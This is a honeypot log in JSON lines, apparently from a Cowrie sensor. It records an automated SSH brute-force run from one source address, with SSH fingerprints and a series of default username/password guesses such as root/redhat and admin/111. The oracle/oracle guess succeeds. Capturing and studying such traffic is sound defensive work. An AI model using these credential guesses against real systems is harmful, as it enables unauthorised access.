{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:02.935841Z","src_ip":"176.65.132.129","session":"b403b1a6a92b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58676,"dst_ip":"159.203.135.109","dst_port":22,"session":"70e90276200e","protocol":"ssh","message":"New connection: 176.65.132.129:58676 (159.203.135.109:22) [session: 70e90276200e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:05.070174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:05.075563Z","src_ip":"176.65.132.129","session":"70e90276200e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:05.158815Z","src_ip":"176.65.132.129","session":"70e90276200e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56246,"dst_ip":"10.17.0.5","dst_port":23,"session":"bab127d4172e","protocol":"telnet","message":"New connection: 45.58.127.90:56246 (10.17.0.5:23) [session: bab127d4172e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:05.333628Z"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:05.408938Z","src_ip":"176.65.132.129","session":"70e90276200e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:06.497087Z","src_ip":"176.65.132.129","session":"70e90276200e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56272,"dst_ip":"10.17.0.5","dst_port":23,"session":"62b82ee5e334","protocol":"telnet","message":"New connection: 45.58.127.90:56272 (10.17.0.5:23) [session: 62b82ee5e334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:06.693789Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40458,"dst_ip":"159.203.135.109","dst_port":22,"session":"34a18e3c2100","protocol":"ssh","message":"New connection: 176.65.132.129:40458 (159.203.135.109:22) [session: 34a18e3c2100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:08.451245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:08.455937Z","src_ip":"176.65.132.129","session":"34a18e3c2100","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:08.537857Z","src_ip":"176.65.132.129","session":"34a18e3c2100","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111","message":"login attempt [admin/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:08.783708Z","src_ip":"176.65.132.129","session":"34a18e3c2100","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:09.998487Z","src_ip":"176.65.132.129","session":"34a18e3c2100","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40472,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2e880e3ae8d","protocol":"ssh","message":"New connection: 176.65.132.129:40472 (159.203.135.109:22) [session: c2e880e3ae8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:11.783193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:11.787610Z","src_ip":"176.65.132.129","session":"c2e880e3ae8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:11.869304Z","src_ip":"176.65.132.129","session":"c2e880e3ae8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123456","message":"login attempt [myuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:12.290944Z","src_ip":"176.65.132.129","session":"c2e880e3ae8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:13.376463Z","src_ip":"176.65.132.129","session":"c2e880e3ae8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40480,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbbd62d1099e","protocol":"ssh","message":"New connection: 176.65.132.129:40480 (159.203.135.109:22) [session: fbbd62d1099e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:15.299497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:15.304541Z","src_ip":"176.65.132.129","session":"fbbd62d1099e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:15.386730Z","src_ip":"176.65.132.129","session":"fbbd62d1099e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:15.632486Z","src_ip":"176.65.132.129","session":"fbbd62d1099e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:16.717259Z","src_ip":"176.65.132.129","session":"fbbd62d1099e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44042,"dst_ip":"159.203.135.109","dst_port":22,"session":"a92f0407363c","protocol":"ssh","message":"New connection: 176.65.132.129:44042 (159.203.135.109:22) [session: a92f0407363c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:18.680185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:18.684911Z","src_ip":"176.65.132.129","session":"a92f0407363c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:18.767011Z","src_ip":"176.65.132.129","session":"a92f0407363c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:19.021092Z","src_ip":"176.65.132.129","session":"a92f0407363c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45732,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdf0722c8ecd","protocol":"telnet","message":"New connection: 45.58.127.90:45732 (10.17.0.5:23) [session: fdf0722c8ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:19.107281Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:20.118116Z","src_ip":"176.65.132.129","session":"a92f0407363c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44044,"dst_ip":"159.203.135.109","dst_port":22,"session":"31e667c5b5cc","protocol":"ssh","message":"New connection: 176.65.132.129:44044 (159.203.135.109:22) [session: 31e667c5b5cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:22.159274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:22.180005Z","src_ip":"176.65.132.129","session":"31e667c5b5cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:22.248114Z","src_ip":"176.65.132.129","session":"31e667c5b5cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:22.562893Z","src_ip":"176.65.132.129","session":"31e667c5b5cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45746,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8ce176b01b5","protocol":"telnet","message":"New connection: 45.58.127.90:45746 (10.17.0.5:23) [session: b8ce176b01b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:22.678479Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:23.647441Z","src_ip":"176.65.132.129","session":"31e667c5b5cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44054,"dst_ip":"159.203.135.109","dst_port":22,"session":"20869241e08d","protocol":"ssh","message":"New connection: 176.65.132.129:44054 (159.203.135.109:22) [session: 20869241e08d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:25.495115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:25.503238Z","src_ip":"176.65.132.129","session":"20869241e08d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:25.585877Z","src_ip":"176.65.132.129","session":"20869241e08d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123","message":"login attempt [frappe/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:25.833084Z","src_ip":"176.65.132.129","session":"20869241e08d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:27.053378Z","src_ip":"176.65.132.129","session":"20869241e08d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56886,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5324fac4e27","protocol":"ssh","message":"New connection: 176.65.132.129:56886 (159.203.135.109:22) [session: a5324fac4e27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:28.776644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:28.781616Z","src_ip":"176.65.132.129","session":"a5324fac4e27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:28.863955Z","src_ip":"176.65.132.129","session":"a5324fac4e27","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:29.317903Z","src_ip":"176.65.132.129","session":"a5324fac4e27","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:29.534666Z","src_ip":"176.65.132.129","session":"a5324fac4e27","protocol":"ssh"}
